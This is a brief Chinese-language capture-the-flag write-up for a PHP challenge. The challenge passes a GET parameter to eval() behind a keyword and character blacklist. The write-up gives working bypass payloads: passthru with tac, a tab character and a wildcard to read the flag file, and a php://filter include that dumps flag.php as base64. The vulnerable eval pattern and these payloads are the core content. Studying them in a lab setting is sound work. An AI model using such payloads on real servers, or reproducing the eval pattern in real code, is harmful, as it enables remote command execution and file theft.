error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
显然对空格单引号都进行了过滤,命令执行有四个函数我们可以使用passthru() 并将’ '替换为" " 将cat替换为tac(还有很多比如more less懒得写了 得出最简单的命令执行c=passthru(“tac%09f*”);
当然也可以采取文件包含的方法
c=include($_GET[“url”]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php